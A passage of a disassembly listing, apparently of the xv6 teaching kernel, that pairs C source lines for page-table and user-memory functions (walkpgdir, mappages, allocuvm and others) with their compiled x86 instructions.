// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106a20: 55 push %ebp
80106a21: 89 e5 mov %esp,%ebp
80106a23: 57 push %edi
80106a24: 56 push %esi
80106a25: 53 push %ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106a26: 89 d3 mov %edx,%ebx
{
80106a28: 89 d7 mov %edx,%edi
pde = &pgdir[PDX(va)];
80106a2a: c1 eb 16 shr $0x16,%ebx
80106a2d: 8d 34 98 lea (%eax,%ebx,4),%esi
{
80106a30: 83 ec 0c sub $0xc,%esp
if(*pde & PTE_P){
80106a33: 8b 06 mov (%esi),%eax
80106a35: a8 01 test $0x1,%al
80106a37: 74 27 je 80106a60 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80106a39: 25 00 f0 ff ff and $0xfffff000,%eax
80106a3e: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
80106a44: c1 ef 0a shr $0xa,%edi
}
80106a47: 8d 65 f4 lea -0xc(%ebp),%esp
return &pgtab[PTX(va)];
80106a4a: 89 fa mov %edi,%edx
80106a4c: 81 e2 fc 0f 00 00 and $0xffc,%edx
80106a52: 8d 04 13 lea (%ebx,%edx,1),%eax
}
80106a55: 5b pop %ebx
80106a56: 5e pop %esi
80106a57: 5f pop %edi
80106a58: 5d pop %ebp
80106a59: c3 ret
80106a5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80106a60: 85 c9 test %ecx,%ecx
80106a62: 74 2c je 80106a90 <walkpgdir+0x70>
80106a64: e8 b7 ba ff ff call 80102520 <kalloc>
80106a69: 85 c0 test %eax,%eax
80106a6b: 89 c3 mov %eax,%ebx
80106a6d: 74 21 je 80106a90 <walkpgdir+0x70>
memset(pgtab, 0, PGSIZE);
80106a6f: 83 ec 04 sub $0x4,%esp
80106a72: 68 00 10 00 00 push $0x1000
80106a77: 6a 00 push $0x0
80106a79: 50 push %eax
80106a7a: e8 f1 db ff ff call 80104670 <memset>
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80106a7f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106a85: 83 c4 10 add $0x10,%esp
80106a88: 83 c8 07 or $0x7,%eax
80106a8b: 89 06 mov %eax,(%esi)
80106a8d: eb b5 jmp 80106a44 <walkpgdir+0x24>
80106a8f: 90 nop
}
80106a90: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80106a93: 31 c0 xor %eax,%eax
}
80106a95: 5b pop %ebx
80106a96: 5e pop %esi
80106a97: 5f pop %edi
80106a98: 5d pop %ebp
80106a99: c3 ret
80106a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106aa0 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106aa0: 55 push %ebp
80106aa1: 89 e5 mov %esp,%ebp
80106aa3: 57 push %edi
80106aa4: 56 push %esi
80106aa5: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80106aa6: 89 d3 mov %edx,%ebx
80106aa8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
{
80106aae: 83 ec 1c sub $0x1c,%esp
80106ab1: 89 45 e4 mov %eax,-0x1c(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80106ab4: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
80106ab8: 8b 7d 08 mov 0x8(%ebp),%edi
80106abb: 25 00 f0 ff ff and $0xfffff000,%eax
80106ac0: 89 45 e0 mov %eax,-0x20(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
80106ac3: 8b 45 0c mov 0xc(%ebp),%eax
80106ac6: 29 df sub %ebx,%edi
80106ac8: 83 c8 01 or $0x1,%eax
80106acb: 89 45 dc mov %eax,-0x24(%ebp)
80106ace: eb 15 jmp 80106ae5 <mappages+0x45>
if(*pte & PTE_P)
80106ad0: f6 00 01 testb $0x1,(%eax)
80106ad3: 75 45 jne 80106b1a <mappages+0x7a>
*pte = pa | perm | PTE_P;
80106ad5: 0b 75 dc or -0x24(%ebp),%esi
if(a == last)
80106ad8: 3b 5d e0 cmp -0x20(%ebp),%ebx
*pte = pa | perm | PTE_P;
80106adb: 89 30 mov %esi,(%eax)
if(a == last)
80106add: 74 31 je 80106b10 <mappages+0x70>
break;
a += PGSIZE;
80106adf: 81 c3 00 10 00 00 add $0x1000,%ebx
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80106ae5: 8b 45 e4 mov -0x1c(%ebp),%eax
80106ae8: b9 01 00 00 00 mov $0x1,%ecx
80106aed: 89 da mov %ebx,%edx
80106aef: 8d 34 3b lea (%ebx,%edi,1),%esi
80106af2: e8 29 ff ff ff call 80106a20 <walkpgdir>
80106af7: 85 c0 test %eax,%eax
80106af9: 75 d5 jne 80106ad0 <mappages+0x30>
pa += PGSIZE;
}
return 0;
}
80106afb: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80106afe: b8 ff ff ff ff mov $0xffffffff,%eax
}
80106b03: 5b pop %ebx
80106b04: 5e pop %esi
80106b05: 5f pop %edi
80106b06: 5d pop %ebp
80106b07: c3 ret
80106b08: 90 nop
80106b09: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106b10: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80106b13: 31 c0 xor %eax,%eax
}
80106b15: 5b pop %ebx
80106b16: 5e pop %esi
80106b17: 5f pop %edi
80106b18: 5d pop %ebp
80106b19: c3 ret
panic("remap");
80106b1a: 83 ec 0c sub $0xc,%esp
80106b1d: 68 40 7d 10 80 push $0x80107d40
80106b22: e8 69 98 ff ff call 80100390 <panic>
80106b27: 89 f6 mov %esi,%esi
80106b29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106b30 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106b30: 55 push %ebp
80106b31: 89 e5 mov %esp,%ebp
80106b33: 57 push %edi
80106b34: 56 push %esi
80106b35: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
80106b36: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106b3c: 89 c7 mov %eax,%edi
a = PGROUNDUP(newsz);
80106b3e: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106b44: 83 ec 1c sub $0x1c,%esp
80106b47: 89 4d e0 mov %ecx,-0x20(%ebp)
for(; a < oldsz; a += PGSIZE){
80106b4a: 39 d3 cmp %edx,%ebx
80106b4c: 73 66 jae 80106bb4 <deallocuvm.part.0+0x84>
80106b4e: 89 d6 mov %edx,%esi
80106b50: eb 3d jmp 80106b8f <deallocuvm.part.0+0x5f>
80106b52: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
80106b58: 8b 10 mov (%eax),%edx
80106b5a: f6 c2 01 test $0x1,%dl
80106b5d: 74 26 je 80106b85 <deallocuvm.part.0+0x55>
pa = PTE_ADDR(*pte);
if(pa == 0)
80106b5f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106b65: 74 58 je 80106bbf <deallocuvm.part.0+0x8f>
panic("kfree");
char *v = P2V(pa);
kfree(v);
80106b67: 83 ec 0c sub $0xc,%esp
char *v = P2V(pa);
80106b6a: 81 c2 00 00 00 80 add $0x80000000,%edx
80106b70: 89 45 e4 mov %eax,-0x1c(%ebp)
kfree(v);
80106b73: 52 push %edx
80106b74: e8 97 b7 ff ff call 80102310 <kfree>
*pte = 0;
80106b79: 8b 45 e4 mov -0x1c(%ebp),%eax
80106b7c: 83 c4 10 add $0x10,%esp
80106b7f: c7 00 00 00 00 00 movl $0x0,(%eax)
for(; a < oldsz; a += PGSIZE){
80106b85: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b8b: 39 f3 cmp %esi,%ebx
80106b8d: 73 25 jae 80106bb4 <deallocuvm.part.0+0x84>
pte = walkpgdir(pgdir, (char*)a, 0);
80106b8f: 31 c9 xor %ecx,%ecx
80106b91: 89 da mov %ebx,%edx
80106b93: 89 f8 mov %edi,%eax
80106b95: e8 86 fe ff ff call 80106a20 <walkpgdir>
if(!pte)
80106b9a: 85 c0 test %eax,%eax
80106b9c: 75 ba jne 80106b58 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
80106b9e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106ba4: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106baa: 81 c3 00 10 00 00 add $0x1000,%ebx
80106bb0: 39 f3 cmp %esi,%ebx
80106bb2: 72 db jb 80106b8f <deallocuvm.part.0+0x5f>
}
}
return newsz;
}
80106bb4: 8b 45 e0 mov -0x20(%ebp),%eax
80106bb7: 8d 65 f4 lea -0xc(%ebp),%esp
80106bba: 5b pop %ebx
80106bbb: 5e pop %esi
80106bbc: 5f pop %edi
80106bbd: 5d pop %ebp
80106bbe: c3 ret
panic("kfree");
80106bbf: 83 ec 0c sub $0xc,%esp
80106bc2: 68 c6 75 10 80 push $0x801075c6
80106bc7: e8 c4 97 ff ff call 80100390 <panic>
80106bcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106bd0 <seginit>:
{
80106bd0: 55 push %ebp
80106bd1: 89 e5 mov %esp,%ebp
80106bd3: 83 ec 18 sub $0x18,%esp
c = &cpus[cpuid()];
80106bd6: e8 c5 cc ff ff call 801038a0 <cpuid>
80106bdb: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
pd[0] = size-1;
80106be1: ba 2f 00 00 00 mov $0x2f,%edx
80106be6: 66 89 55 f2 mov %dx,-0xe(%ebp)
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106bea: c7 80 18 28 11 80 ff movl $0xffff,-0x7feed7e8(%eax)
80106bf1: ff 00 00
80106bf4: c7 80 1c 28 11 80 00 movl $0xcf9a00,-0x7feed7e4(%eax)
80106bfb: 9a cf 00
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106bfe: c7 80 20 28 11 80 ff movl $0xffff,-0x7feed7e0(%eax)
80106c05: ff 00 00
80106c08: c7 80 24 28 11 80 00 movl $0xcf9200,-0x7feed7dc(%eax)
80106c0f: 92 cf 00
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106c12: c7 80 28 28 11 80 ff movl $0xffff,-0x7feed7d8(%eax)
80106c19: ff 00 00
80106c1c: c7 80 2c 28 11 80 00 movl $0xcffa00,-0x7feed7d4(%eax)
80106c23: fa cf 00
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106c26: c7 80 30 28 11 80 ff movl $0xffff,-0x7feed7d0(%eax)
80106c2d: ff 00 00
80106c30: c7 80 34 28 11 80 00 movl $0xcff200,-0x7feed7cc(%eax)
80106c37: f2 cf 00
lgdt(c->gdt, sizeof(c->gdt));
80106c3a: 05 10 28 11 80 add $0x80112810,%eax
pd[1] = (uint)p;
80106c3f: 66 89 45 f4 mov %ax,-0xc(%ebp)
pd[2] = (uint)p >> 16;
80106c43: c1 e8 10 shr $0x10,%eax
80106c46: 66 89 45 f6 mov %ax,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
80106c4a: 8d 45 f2 lea -0xe(%ebp),%eax
80106c4d: 0f 01 10 lgdtl (%eax)
}
80106c50: c9 leave
80106c51: c3 ret
80106c52: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106c59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c60 <switchkvm>:
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106c60: a1 a4 51 11 80 mov 0x801151a4,%eax
{
80106c65: 55 push %ebp
80106c66: 89 e5 mov %esp,%ebp
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106c68: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
80106c6d: 0f 22 d8 mov %eax,%cr3
}
80106c70: 5d pop %ebp
80106c71: c3 ret
80106c72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c80 <switchuvm>:
{
80106c80: 55 push %ebp
80106c81: 89 e5 mov %esp,%ebp
80106c83: 57 push %edi
80106c84: 56 push %esi
80106c85: 53 push %ebx
80106c86: 83 ec 1c sub $0x1c,%esp
80106c89: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p == 0)
80106c8c: 85 db test %ebx,%ebx
80106c8e: 0f 84 cb 00 00 00 je 80106d5f <switchuvm+0xdf>
if(p->kstack == 0)
80106c94: 8b 43 08 mov 0x8(%ebx),%eax
80106c97: 85 c0 test %eax,%eax
80106c99: 0f 84 da 00 00 00 je 80106d79 <switchuvm+0xf9>
if(p->pgdir == 0)
80106c9f: 8b 43 04 mov 0x4(%ebx),%eax
80106ca2: 85 c0 test %eax,%eax
80106ca4: 0f 84 c2 00 00 00 je 80106d6c <switchuvm+0xec>
pushcli();
80106caa: e8 e1 d7 ff ff call 80104490 <pushcli>
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
80106caf: e8 7c cb ff ff call 80103830 <mycpu>
80106cb4: 89 c6 mov %eax,%esi
80106cb6: e8 75 cb ff ff call 80103830 <mycpu>
80106cbb: 89 c7 mov %eax,%edi
80106cbd: e8 6e cb ff ff call 80103830 <mycpu>
80106cc2: 89 45 e4 mov %eax,-0x1c(%ebp)
80106cc5: 83 c7 08 add $0x8,%edi
80106cc8: e8 63 cb ff ff call 80103830 <mycpu>
80106ccd: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106cd0: 83 c0 08 add $0x8,%eax
80106cd3: ba 67 00 00 00 mov $0x67,%edx
80106cd8: c1 e8 18 shr $0x18,%eax
80106cdb: 66 89 96 98 00 00 00 mov %dx,0x98(%esi)
80106ce2: 66 89 be 9a 00 00 00 mov %di,0x9a(%esi)
80106ce9: 88 86 9f 00 00 00 mov %al,0x9f(%esi)
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106cef: bf ff ff ff ff mov $0xffffffff,%edi
mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts,
80106cf4: 83 c1 08 add $0x8,%ecx
80106cf7: c1 e9 10 shr $0x10,%ecx
80106cfa: 88 8e 9c 00 00 00 mov %cl,0x9c(%esi)
80106d00: b9 99 40 00 00 mov $0x4099,%ecx
80106d05: 66 89 8e 9d 00 00 00 mov %cx,0x9d(%esi)
mycpu()->ts.ss0 = SEG_KDATA << 3;
80106d0c: be 10 00 00 00 mov $0x10,%esi
mycpu()->gdt[SEG_TSS].s = 0;
80106d11: e8 1a cb ff ff call 80103830 <mycpu>
80106d16: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
mycpu()->ts.ss0 = SEG_KDATA << 3;
80106d1d: e8 0e cb ff ff call 80103830 <mycpu>
80106d22: 66 89 70 10 mov %si,0x10(%eax)
mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106d26: 8b 73 08 mov 0x8(%ebx),%esi
80106d29: e8 02 cb ff ff call 80103830 <mycpu>
80106d2e: 81 c6 00 10 00 00 add $0x1000,%esi
80106d34: 89 70 0c mov %esi,0xc(%eax)
mycpu()->ts.iomb = (ushort) 0xFFFF;
80106d37: e8 f4 ca ff ff call 80103830 <mycpu>
80106d3c: 66 89 78 6e mov %di,0x6e(%eax)
asm volatile("ltr %0" : : "r" (sel));
80106d40: b8 28 00 00 00 mov $0x28,%eax
80106d45: 0f 00 d8 ltr %ax
lcr3(V2P(p->pgdir)); // switch to process's address space
80106d48: 8b 43 04 mov 0x4(%ebx),%eax
80106d4b: 05 00 00 00 80 add $0x80000000,%eax
asm volatile("movl %0,%%cr3" : : "r" (val));
80106d50: 0f 22 d8 mov %eax,%cr3
}
80106d53: 8d 65 f4 lea -0xc(%ebp),%esp
80106d56: 5b pop %ebx
80106d57: 5e pop %esi
80106d58: 5f pop %edi
80106d59: 5d pop %ebp
popcli();
80106d5a: e9 71 d7 ff ff jmp 801044d0 <popcli>
panic("switchuvm: no process");
80106d5f: 83 ec 0c sub $0xc,%esp
80106d62: 68 46 7d 10 80 push $0x80107d46
80106d67: e8 24 96 ff ff call 80100390 <panic>
panic("switchuvm: no pgdir");
80106d6c: 83 ec 0c sub $0xc,%esp
80106d6f: 68 71 7d 10 80 push $0x80107d71
80106d74: e8 17 96 ff ff call 80100390 <panic>
panic("switchuvm: no kstack");
80106d79: 83 ec 0c sub $0xc,%esp
80106d7c: 68 5c 7d 10 80 push $0x80107d5c
80106d81: e8 0a 96 ff ff call 80100390 <panic>
80106d86: 8d 76 00 lea 0x0(%esi),%esi
80106d89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106d90 <inituvm>:
{
80106d90: 55 push %ebp
80106d91: 89 e5 mov %esp,%ebp
80106d93: 57 push %edi
80106d94: 56 push %esi
80106d95: 53 push %ebx
80106d96: 83 ec 1c sub $0x1c,%esp
80106d99: 8b 75 10 mov 0x10(%ebp),%esi
80106d9c: 8b 45 08 mov 0x8(%ebp),%eax
80106d9f: 8b 7d 0c mov 0xc(%ebp),%edi
if(sz >= PGSIZE)
80106da2: 81 fe ff 0f 00 00 cmp $0xfff,%esi
{
80106da8: 89 45 e4 mov %eax,-0x1c(%ebp)
if(sz >= PGSIZE)
80106dab: 77 49 ja 80106df6 <inituvm+0x66>
mem = kalloc();
80106dad: e8 6e b7 ff ff call 80102520 <kalloc>
memset(mem, 0, PGSIZE);
80106db2: 83 ec 04 sub $0x4,%esp
mem = kalloc();
80106db5: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
80106db7: 68 00 10 00 00 push $0x1000
80106dbc: 6a 00 push $0x0
80106dbe: 50 push %eax
80106dbf: e8 ac d8 ff ff call 80104670 <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
80106dc4: 58 pop %eax
80106dc5: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106dcb: b9 00 10 00 00 mov $0x1000,%ecx
80106dd0: 5a pop %edx
80106dd1: 6a 06 push $0x6
80106dd3: 50 push %eax
80106dd4: 31 d2 xor %edx,%edx
80106dd6: 8b 45 e4 mov -0x1c(%ebp),%eax
80106dd9: e8 c2 fc ff ff call 80106aa0 <mappages>
memmove(mem, init, sz);
80106dde: 89 75 10 mov %esi,0x10(%ebp)
80106de1: 89 7d 0c mov %edi,0xc(%ebp)
80106de4: 83 c4 10 add $0x10,%esp
80106de7: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106dea: 8d 65 f4 lea -0xc(%ebp),%esp
80106ded: 5b pop %ebx
80106dee: 5e pop %esi
80106def: 5f pop %edi
80106df0: 5d pop %ebp
memmove(mem, init, sz);
80106df1: e9 2a d9 ff ff jmp 80104720 <memmove>
panic("inituvm: more than a page");
80106df6: 83 ec 0c sub $0xc,%esp
80106df9: 68 85 7d 10 80 push $0x80107d85
80106dfe: e8 8d 95 ff ff call 80100390 <panic>
80106e03: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106e10 <loaduvm>:
{
80106e10: 55 push %ebp
80106e11: 89 e5 mov %esp,%ebp
80106e13: 57 push %edi
80106e14: 56 push %esi
80106e15: 53 push %ebx
80106e16: 83 ec 0c sub $0xc,%esp
if((uint) addr % PGSIZE != 0)
80106e19: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
80106e20: 0f 85 91 00 00 00 jne 80106eb7 <loaduvm+0xa7>
for(i = 0; i < sz; i += PGSIZE){
80106e26: 8b 75 18 mov 0x18(%ebp),%esi
80106e29: 31 db xor %ebx,%ebx
80106e2b: 85 f6 test %esi,%esi
80106e2d: 75 1a jne 80106e49 <loaduvm+0x39>
80106e2f: eb 6f jmp 80106ea0 <loaduvm+0x90>
80106e31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106e38: 81 c3 00 10 00 00 add $0x1000,%ebx
80106e3e: 81 ee 00 10 00 00 sub $0x1000,%esi
80106e44: 39 5d 18 cmp %ebx,0x18(%ebp)
80106e47: 76 57 jbe 80106ea0 <loaduvm+0x90>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80106e49: 8b 55 0c mov 0xc(%ebp),%edx
80106e4c: 8b 45 08 mov 0x8(%ebp),%eax
80106e4f: 31 c9 xor %ecx,%ecx
80106e51: 01 da add %ebx,%edx
80106e53: e8 c8 fb ff ff call 80106a20 <walkpgdir>
80106e58: 85 c0 test %eax,%eax
80106e5a: 74 4e je 80106eaa <loaduvm+0x9a>
pa = PTE_ADDR(*pte);
80106e5c: 8b 00 mov (%eax),%eax
if(readi(ip, P2V(pa), offset+i, n) != n)
80106e5e: 8b 4d 14 mov 0x14(%ebp),%ecx
if(sz - i < PGSIZE)
80106e61: bf 00 10 00 00 mov $0x1000,%edi
pa = PTE_ADDR(*pte);
80106e66: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
80106e6b: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106e71: 0f 46 fe cmovbe %esi,%edi
if(readi(ip, P2V(pa), offset+i, n) != n)
80106e74: 01 d9 add %ebx,%ecx
80106e76: 05 00 00 00 80 add $0x80000000,%eax
80106e7b: 57 push %edi
80106e7c: 51 push %ecx
80106e7d: 50 push %eax
80106e7e: ff 75 10 pushl 0x10(%ebp)
80106e81: e8 da aa ff ff call 80101960 <readi>
80106e86: 83 c4 10 add $0x10,%esp
80106e89: 39 f8 cmp %edi,%eax
80106e8b: 74 ab je 80106e38 <loaduvm+0x28>
}
80106e8d: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80106e90: b8 ff ff ff ff mov $0xffffffff,%eax
}
80106e95: 5b pop %ebx
80106e96: 5e pop %esi
80106e97: 5f pop %edi
80106e98: 5d pop %ebp
80106e99: c3 ret
80106e9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ea0: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80106ea3: 31 c0 xor %eax,%eax
}
80106ea5: 5b pop %ebx
80106ea6: 5e pop %esi
80106ea7: 5f pop %edi
80106ea8: 5d pop %ebp
80106ea9: c3 ret
panic("loaduvm: address should exist");
80106eaa: 83 ec 0c sub $0xc,%esp
80106ead: 68 9f 7d 10 80 push $0x80107d9f
80106eb2: e8 d9 94 ff ff call 80100390 <panic>
panic("loaduvm: addr must be page aligned");
80106eb7: 83 ec 0c sub $0xc,%esp
80106eba: 68 40 7e 10 80 push $0x80107e40
80106ebf: e8 cc 94 ff ff call 80100390 <panic>
80106ec4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106eca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106ed0 <allocuvm>:
{
80106ed0: 55 push %ebp
80106ed1: 89 e5 mov %esp,%ebp
80106ed3: 57 push %edi
80106ed4: 56 push %esi
80106ed5: 53 push %ebx
80106ed6: 83 ec 1c sub $0x1c,%esp
if(newsz >= KERNBASE)
80106ed9: 8b 7d 10 mov 0x10(%ebp),%edi
80106edc: 85 ff test %edi,%edi
80106ede: 0f 88 8e 00 00 00 js 80106f72 <allocuvm+0xa2>
if(newsz < oldsz)
80106ee4: 3b 7d 0c cmp 0xc(%ebp),%edi
80106ee7: 0f 82 93 00 00 00 jb 80106f80 <allocuvm+0xb0>
a = PGROUNDUP(oldsz);
80106eed: 8b 45 0c mov 0xc(%ebp),%eax
80106ef0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80106ef6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < newsz; a += PGSIZE){
80106efc: 39 5d 10 cmp %ebx,0x10(%ebp)
80106eff: 0f 86 7e 00 00 00 jbe 80106f83 <allocuvm+0xb3>
80106f05: 89 7d e4 mov %edi,-0x1c(%ebp)
80106f08: 8b 7d 08 mov 0x8(%ebp),%edi
80106f0b: eb 42 jmp 80106f4f <allocuvm+0x7f>
80106f0d: 8d 76 00 lea 0x0(%esi),%esi
memset(mem, 0, PGSIZE);
80106f10: 83 ec 04 sub $0x4,%esp
80106f13: 68 00 10 00 00 push $0x1000
80106f18: 6a 00 push $0x0
80106f1a: 50 push %eax
80106f1b: e8 50 d7 ff ff call 80104670 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106f20: 58 pop %eax
80106f21: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106f27: b9 00 10 00 00 mov $0x1000,%ecx
80106f2c: 5a pop %edx
80106f2d: 6a 06 push $0x6
80106f2f: 50 push %eax
80106f30: 89 da mov %ebx,%edx
80106f32: 89 f8 mov %edi,%eax
80106f34: e8 67 fb ff ff call 80106aa0 <mappages>
80106f39: 83 c4 10 add $0x10,%esp
80106f3c: 85 c0 test %eax,%eax
80106f3e: 78 50 js 80106f90 <allocuvm+0xc0>
for(; a < newsz; a += PGSIZE){
80106f40: 81 c3 00 10 00 00 add $0x1000,%ebx
80106f46: 39 5d 10 cmp %ebx,0x10(%ebp)
80106f49: 0f 86 81 00 00 00 jbe 80106fd0 <allocuvm+0x100>
mem = kalloc();
80106f4f: e8 cc b5 ff ff call 80102520 <kalloc>
if(mem == 0){
80106f54: 85 c0 test %eax,%eax
mem = kalloc();
80106f56: 89 c6 mov %eax,%esi
if(mem == 0){
80106f58: 75 b6 jne 80106f10 <allocuvm+0x40>
cprintf("allocuvm out of memory\n");
80106f5a: 83 ec 0c sub $0xc,%esp
80106f5d: 68 bd 7d 10 80 push $0x80107dbd
80106f62: e8 f9 96 ff ff call 80100660 <cprintf>
if(newsz >= oldsz)
80106f67: 83 c4 10 add $0x10,%esp
80106f6a: 8b 45 0c mov 0xc(%ebp),%eax
80106f6d: 39 45 10 cmp %eax,0x10(%ebp)
80106f70: 77 6e ja 80106fe0 <allocuvm+0x110>
}
80106f72: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80106f75: 31 ff xor %edi,%edi
}
80106f77: 89 f8 mov %edi,%eax
80106f79: 5b pop %ebx
80106f7a: 5e pop %esi
80106f7b: 5f pop %edi
80106f7c: 5d pop %ebp
80106f7d: c3 ret
80106f7e: 66 90 xchg %ax,%ax
return oldsz;
80106f80: 8b 7d 0c mov 0xc(%ebp),%edi
}
80106f83: 8d 65 f4 lea -0xc(%ebp),%esp
80106f86: 89 f8 mov %edi,%eax
80106f88: 5b pop %ebx
80106f89: 5e pop %esi
80106f8a: 5f pop %edi
80106f8b: 5d pop %ebp
80106f8c: c3 ret
80106f8d: 8d 76 00 lea 0x0(%esi),%esi
cprintf("allocuvm out of memory (2)\n");
80106f90: 83 ec 0c sub $0xc,%esp
80106f93: 68 d5 7d 10 80 push $0x80107dd5
80106f98: e8 c3 96 ff ff call 80100660 <cprintf>
if(newsz >= oldsz)
80106f9d: 83 c4 10 add $0x10,%esp
80106fa0: 8b 45 0c mov 0xc(%ebp),%eax
80106fa3: 39 45 10 cmp %eax,0x10(%ebp)
80106fa6: 76 0d jbe 80106fb5 <allocuvm+0xe5>
80106fa8: 89 c1 mov %eax,%ecx
80106faa: 8b 55 10 mov 0x10(%ebp),%edx
80106fad: 8b 45 08 mov 0x8(%ebp),%eax
80106fb0: e8 7b fb ff ff call 80106b30 <deallocuvm.part.0>
kfree(mem);
80106fb5: 83 ec 0c sub $0xc,%esp
return 0;
80106fb8: 31 ff xor %edi,%edi
kfree(mem);
80106fba: 56 push %esi
80106fbb: e8 50 b3 ff ff call 80102310 <kfree>
return 0;
80106fc0: 83 c4 10 add $0x10,%esp
}
80106fc3: 8d 65 f4 lea -0xc(%ebp),%esp
80106fc6: 89 f8 mov %edi,%eax
80106fc8: 5b pop %ebx
80106fc9: 5e pop %esi
80106fca: 5f pop %edi
80106fcb: 5d pop %ebp
80106fcc: c3 ret
80106fcd: 8d 76 00 lea 0x0(%esi),%esi
80106fd0: 8b 7d e4 mov -0x1c(%ebp),%edi
80106fd3: 8d 65 f4 lea -0xc(%ebp),%esp
80106fd6: 5b pop %ebx
80106fd7: 89 f8 mov %edi,%eax
80106fd9: 5e pop %esi
80106fda: 5f pop %edi
80106fdb: 5d pop %ebp
80106fdc: c3 ret
80106fdd: 8d 76 00 lea 0x0(%esi),%esi
80106fe0: 89 c1 mov %eax,%ecx
